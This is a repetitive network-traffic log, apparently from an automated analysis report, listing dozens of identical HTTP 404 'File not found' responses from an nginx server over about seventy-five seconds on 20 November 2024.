Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:21 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:22 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:23 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:24 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:25 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:26 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:27 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:28 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:29 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:30 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:31 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:32 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:33 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:33 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:34 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:35 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:36 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:37 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:38 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:39 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:39 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:41 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:41 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:42 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:43 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:44 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:45 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:46 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:47 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:48 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:49 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:50 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:51 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:52 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:52 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:53 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:54 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:55 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:56 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:57 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:58 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:59 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:00 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:01 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:02 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:03 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:04 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:05 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:06 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:07 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:07 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:08 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:09 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:10 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:11 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:12 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:13 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:14 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:15 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:16 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:17 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:17 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:18 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:19 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:20 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:21 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:22 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:23 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:24 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:25 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:26 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:27 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:28 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:28 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:29 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:30 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:31 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:32 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:33 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:34 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:35 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:36 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
